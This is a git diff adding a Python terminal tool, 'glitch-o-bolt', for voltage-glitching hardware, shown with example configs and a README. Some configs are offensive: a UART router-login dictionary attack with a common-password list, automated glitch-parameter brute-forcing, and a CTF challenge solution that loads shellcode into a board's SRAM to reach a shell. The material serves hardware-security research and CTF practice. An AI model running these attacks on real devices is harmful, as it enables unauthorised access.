+            functions.text_area.scroll_end()
+
+    def read_from_serial_sync(self):
+        """Synchronous line reading with proper timeout handling"""
+        if not self.serial_connection:
+            return b""
+        
+        try:
+            # Read with timeout
+            ready, _, _ = select.select([self.serial_connection], [], [], 0.01)
+            if ready:
+                # Read until newline or buffer limit
+                return self.serial_connection.read_until(b'\n', size=4096)
+            return b""
+        except Exception as e:
+            functions.log_message(f"[ERROR] Serial read error: {str(e)}")
+            return b""
+
+    def on_button_pressed(self, event: Button.Pressed) -> None:
+        button_id_parts = event.button.name
+        parts = button_id_parts.split("-")
+        button_id = parts[0]
+        if(button_id == "exit_button"):
+            functions.end_program() 
+        if(button_id == "clear_button"):
+            functions.clear_text()
+        if(button_id == "btn_glitch"):
+            functions.launch_glitch()
+        if(button_id == "save_config"):
+            functions.save_config(self)
+        if(button_id == "toggle_trigger"):
+            functions.toggle_trigger(self, int(parts[1])) 
+        if(button_id == "change_val"):
+            functions.on_button_pressed(self, event)
+        if(button_id == "save_val"):
+            functions.on_save_button_pressed(self, event) 
+        if(button_id == "custom_function"):
+            functions.run_custom_function(self, event) 
+        if(button_id == "save_uart"):
+            functions.save_uart_settings(self, event) 
+
+    def on_switch_changed(self, event: Switch.Changed) -> None:
+        """Handle switch toggle events"""
+        switch = event.switch
+        
+        # Only handle switches with our specific class
+        if "trigger-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                config.triggers[index][1] = new_state  # Update config
+                functions.set_triggers()                  
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process trigger switch: {str(e)}")
+
+        if "condition-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                
+                # Update config
+                config.conditions[index][1] = new_state
+                
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[CONDITION] Updated switch {index} to {new_state}")
+                    functions.log_message(f"[CONDITION] Current states: {[cond[1] for cond in config.conditions]}")
+                    
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process condition switch: {str(e)}")
+
+        if "logging-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("log_time")
+                functions.log_message(f"[FUNCTION] logging toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_log_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_log_time(0)
+            
+            main_content = self.query_one("#main_content")
+            log_time = functions.get_config_value("log_time")  # Renamed to avoid conflict
+            port = str(functions.get_config_value("serial_port"))
+            baud = str(functions.get_config_value("baud_rate"))
+
+            if log_time == 0:  # Now using 'log_time' instead of 'time'
+                main_content.border_title = f"{port} {baud}"
+            else:
+                main_content.border_title = f"{port} {baud} \\[{log_time}.log]"
+
+        if "glitch-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("glitch_time")
+                functions.log_message(f"[FUNCTION] glitching toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_glitch_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_glitch_time(0)
+
+    def compose(self) -> ComposeResult:
+        with Vertical(classes="top_section"):
+            # Use Vertical here instead of Horizontal
+            with Vertical(classes="top_left"):
+                
+                # UART Box - appears second (below)
+                with Vertical(classes="uart_box") as uart_box:
+                    uart_box.border_title = "uart settings"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("port:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="uart_port_input",
+                            name="uart_port_input",
+                            value=str(functions.get_config_value("serial_port"))
+                        )
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("baud:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="baud_rate_input",
+                            name="baud_rate_input",
+                            value=str(functions.get_config_value("baud_rate"))
+                        )
+                        yield Button("save", classes="btn_save", id="save_uart", name="save_uart")
+
+                # Config Box - appears first (on top)
+                with Vertical(classes="config_box") as config_box:
+                    config_box.border_title = "config"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("file:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="config_file_input",
+                            name="config_file_input",
+                            value=str(functions.get_config_value("conFile"))
+                        )
+                    with Horizontal(classes="onerow"):
+                        yield Button("save", classes="btn_save", id="save_config", name="save_config")
+
+            yield Static("glitch-o-bolt v2.0", classes="program_name")
+            yield Static(" ")  # Show blank space
+            
+            for name in control_names:
+                with Horizontal(classes="control_row"):
+                    yield Static(f"{name}:", classes="control_label")
+                    for amount in [-100, -10, -1]:
+                        yield Button(str(amount), classes=f"btn btn{amount}", name=f"change_val-{name}_{amount}")
+
+                    yield Input(
+                        classes="control_input",
+                        value=str(functions.get_config_value(name)),  
+                        type="integer",
+                        id=f"{name}_input"  # Use `id` instead of `name`
+                    )
+                    yield Button("save", classes="btn_save", name=f"save_val-{name}_save")
+
+                    for amount in [1, 10, 100]:
+                        yield Button(f"+{amount}", classes=f"btn btn-{amount}",  name=f"change_val-{name}_{amount}")
+
+            with Horizontal(classes="top_right"):
+                with Vertical(classes="switch_box") as switch_box:
+                    #yield Static("glitch", classes="switch_title")
+                    yield Button("glitch", classes="btn_glitch", name=f"btn_glitch")
+                    yield Switch(classes="glitch-switch", id="glitch-switch", animate=False)
+
+                # Create and store DataTable for later updates
+                self.status_box = DataTable(classes="top_box", name="status_box")
+                self.status_box.border_title = "status"
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.show_header = False
+                self.status_box.show_cursor = False
+
+                self.status_box.add_columns("Attribute", "Value")
+
+                # Add rows for config values
+                self.status_box.add_row(" length: ", str(functions.get_config_value("length")), key="row1")
+                self.status_box.add_row(" repeat: ", str(functions.get_config_value("repeat")), key="row2")
+                self.status_box.add_row("  delay: ", str(functions.get_config_value("delay")), key="row3")
+                self.status_box.add_row("elapsed: ", str(functions.get_glitch_elapsed()), key="row4")
+
+                yield self.status_box  # Yield the stored DataTable
+        
+        with Horizontal(classes="main_section"):
+            with Vertical(classes="left_sidebar"):
+                sidebar_content = Vertical(classes="sidebar_triggers_content")
+                sidebar_content.border_title = "triggers"
+                
+                with sidebar_content:
+                    with Grid(classes="sidebar_triggers"):                  
+                        # Add rows with switches
+                        functions.ensure_triggers_exist()
+                        for i in range(8):
+                            yield Static(f"{i} -")
+                            yield Static(f"{functions.get_trigger_string(i)}", id=f"trigger_symbol_{i}", classes="sidebar_trigger_string")
+                            yield Switch(
+                                classes="trigger-switch sidebar_trigger_switch",
+                                value=functions.get_trigger_value(i),
+                                animate=False,
+                                id=f"trigger_switch_{i}"
+                            )
+                            yield Button("^v-", classes="btn_toggle_1", name=f"toggle_trigger-{i}")
+
+                
+                if hasattr(config, "conditions") and config.conditions:
+                    sidebar_content2 = Vertical(classes="sidebar_conditions_content")
+                    sidebar_content2.border_title = "conditions"
+                    sidebar_content2.styles.height = len(config.conditions) + 1
+
+                    with sidebar_content2:
+                        with Grid(classes="sidebar_conditions"):
+                            for i in range(len(config.conditions)):
+                                yield Static(f"{functions.get_condition_string(i)[:5]} ")
+                                
+                                if config.conditions[i][2] != "":
+                                    yield Switch(
+                                        id=f"condition_switch_{i}",
+                                        classes="condition-switch sidebar_trigger_switch",  # Added specific class
+                                        value=functions.get_condition_value(i),
+                                        animate=False
+                                    )
+                                else:
+                                    yield Static(" ")
+                                    
+                                yield Button("run", classes="btn_toggle_1", name=f"custom_function-{i}")
+                sidebar_content3 = Vertical(classes="sidebar_settings_content")
+                sidebar_content3.border_title = "misc"
+                with sidebar_content3:
+                    with Grid(classes="sidebar_settings_switches"):                  
+                        # Add rows with switches
+                        yield Static(f"uart")
+                        yield Switch(classes="sidebar_trigger_switch", value=False, animate=False, id="uart_switch")
+
+                        yield Static(f"logging")
+                        yield Switch(classes="logging-switch sidebar_trigger_switch", value=False, animate=False)
+
+                    # Centre the exit button
+                    with Vertical(classes="centre_settings_buttons"):
+                        yield Button("clear main", classes="btn_settings", name="clear_button")
+                    with Vertical(classes="centre_settings_buttons"):    
+                        yield Button("exit", classes="btn_settings", name="exit_button")
+
+
+            global text_area  # Use global reference
+            with Vertical(id="main_content", classes="main_content") as main_content:
+                port = str(functions.get_config_value("serial_port"))
+                baud = str(functions.get_config_value("baud_rate"))
+
+                if functions.get_config_value("log_time") == 0:
+                    main_content.border_title = f"{port} {baud}"
+                else:
+                    time = str(functions.get_config_value("log_time"))
+                    main_content.border_title = f"{port} {baud} \\[{time}.log]"
+
+                # Use Log() widget instead of TextArea for scrollable content
+                functions.text_area = Log(classes="scrollable_log")
+                yield functions.text_area  # Make it accessible later
+                
+                with Horizontal(classes="input_container") as input_row:
+                    yield Static("$> ", classes="input_prompt")
+                    self.input_field = Input(classes="input_area", placeholder="send to uart", id="command_input" )  # Store reference
+                    yield self.input_field
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-c", "--config", default="config.py", help="Path to config file")
+    args = parser.parse_args()
+
+    if not os.path.exists(args.config):
+        print(f"Config file '{args.config}' not found. Creating an empty one...")
+        with open(args.config, "w") as f:
+            pass  # Creates a blank file
+
+    load_config(args.config)
+    import config
+    import functions
+    config.CONFILE = args.config
+    functions.set_config(config)
+
+    app = LayoutApp()
+    set_app_instance(app)  # Pass the app instance to config
+    app.run()
\ No newline at end of file
diff --git a/img/main_tagged.png b/img/main_tagged.png
new file mode 100644
index 0000000..b703c0d
--- /dev/null
+++ b/img/main_tagged.png
Binary files differ

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file
diff --git a/README.md b/README.md
index 0303a74..8cfacef 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,48 @@
 glitch-o-bolt
 ===============
 
-A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt"
\ No newline at end of file
+A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt".
+
+Written in python3, requiring "textual"
+
+![glitch-o-bolt main screen](img/main_tagged.png)
+
+1. **UART** - Device to use and Baud rate
+2. **Config** - Config file in use
+3. **Glitch Settings** - Lengths and offsets to use with the bolt
+4. **Glitcher** - Button to send single glitch or toggle to continuously glitch
+5. **Status** - If glitch toggle is on; displays current settings and time elapsed
+6. **Triggers** - Pull up / down pins and toggle enabled or disabled
+7. **Conditions** - Custom toggles and buttons from the config file in use
+8. **Misc** - Enabe/disable UART and logging, clear the main window, and exit the program
+9. **Main Screen** - Where the UART output is displayed
+
+---
+
+## Running
+
+running this is super simple:
+
+```
+$> python3 glitch-o-bolt.py
+```
+
+use the **"-c"** flag to specify a config file. eg.
+
+```
+$> python3 glitch-o-bolt.py -c ConfigBaudBrute.py
+```
+
+If no config file is specified it will automatically try to use "config.py" or create it if it doesnt exist.
+
+---
+
+## Configs Included
+
+- **ConfigDemoAll** - Example to demo config file capabilities and values that can be set
+- **ConfigBaudBrute** - Example to determine baud rate for UART
+- **ConfigGlitchBrute** - Example to automatically find glitching lengths and offsets
+- **ConfigLoginBrute** - Example to bruteforce a UART login using a dictionary attack
+- **ConfigChall02** - Curious Bolt Level 1, Challenge 2 Solution
+- **ConfigChall03** - Curious Bolt Level 1, Challenge 3 Solution
+- **ConfigChall04** - Curious Bolt Level 1, Challenge 4 Solution
\ No newline at end of file
diff --git a/functions.py b/functions.py
new file mode 100644
index 0000000..66279b0
--- /dev/null
+++ b/functions.py
@@ -0,0 +1,766 @@
+import sys
+import os
+import re
+import time
+import serial
+import importlib
+from scope import Scope
+from textual.widgets import Button, Input, Switch
+from textual.containers import Vertical
+
+import asyncio
+import functions
+
+DEBUG_MODE = False
+
+app_instance = None  # Global variable to store the app instance
+text_area = None     # Store global reference to scrollable text area
+config = None        # dynamic loading of config file
+log_time = 0         # timestamp for logfile
+glitch_time = 0      # timestamp for when glitching started
+
+try:
+    s = Scope()
+except IOError:
+    s = None
+    print("Warning: Scope not connected, running in simulation mode")
+
+def set_config(cfg):
+    global config
+    config = cfg
+
+def set_app_instance(app):
+    """Store the app instance for UART access"""
+    global app_instance
+    app_instance = app
+
+def log_message(message):
+    if DEBUG_MODE:  
+        with open("debug.log", "a") as log_file:
+            log_file.write(message + "\n")
+
+def set_log_time(value):
+    global log_time
+    log_time = value
+
+def set_glitch_time(value):
+    global glitch_time
+    glitch_time = value
+
+def get_config_value(name: str) -> int:
+    """Return the latest value of the given config variable, and create them if they don't exist."""
+    if name == "length":
+        if not hasattr(config, "LENGTH"):
+            config.LENGTH = 0  # Default value if not set
+        return config.LENGTH
+    elif name == "repeat":
+        if not hasattr(config, "REPEAT"):
+            config.REPEAT = 0  # Default value if not set
+        return config.REPEAT
+    elif name == "serial_port":
+        if not hasattr(config, "SERIAL_PORT"):
+            config.SERIAL_PORT = "/dev/ttyUSB0"  # Default value if not set
+        return config.SERIAL_PORT
+    elif name == "baud_rate":
+        if not hasattr(config, "BAUD_RATE"):
+            config.BAUD_RATE = 115200  # Default value if not set
+        return config.BAUD_RATE
+    elif name == "delay":
+        if not hasattr(config, "DELAY"):
+            config.DELAY = 0  # Default value if not set
+        return config.DELAY
+    elif name == "log_time":
+        return log_time  # Return the module variable directly
+    elif name == "glitch_time":
+        return glitch_time  # Return the module variable directly
+    elif name == "conFile":
+        if not hasattr(config, "CONFILE"):
+            config.CONFILE = "config.py"  # Or any suitable default
+        return config.CONFILE
+    elif name.startswith("trigger_"):
+        if "_value" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][0]
+        elif "_state" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][1]
+    else:
+        return 0  # Default fallback for unknown names
+
+def set_config_value(name: str, value: int):
+
+    if hasattr(config, name.upper()):
+        current_value = getattr(config, name.upper())
+        setattr(config, name.upper(), value)
+
+        # Update corresponding Input field
+        input_field = app_instance.query_one(f"#{name}_input")
+        input_field.value = str(value)
+
+        # Update the status box row
+        update_status_box(app_instance, name, value)
+
+        # Refresh UI to reflect changes
+        app_instance.refresh()
+
+def get_condition_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_condition_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_condition_value(index: int, value: bool) -> None:
+    """Update switch state in config"""
+    if 0 <= index < len(config.conditions):
+        if app_instance.query(f"#condition_switch_{index}"):
+            switch = app_instance.query_one(f"#condition_switch_{index}", Switch)  
+            switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def ensure_triggers_exist():
+    if not hasattr(config, "triggers") or not config.triggers or len(config.triggers) < 8:
+        config.triggers = [["-", False] for _ in range(8)]
+
+def get_trigger_string(index):
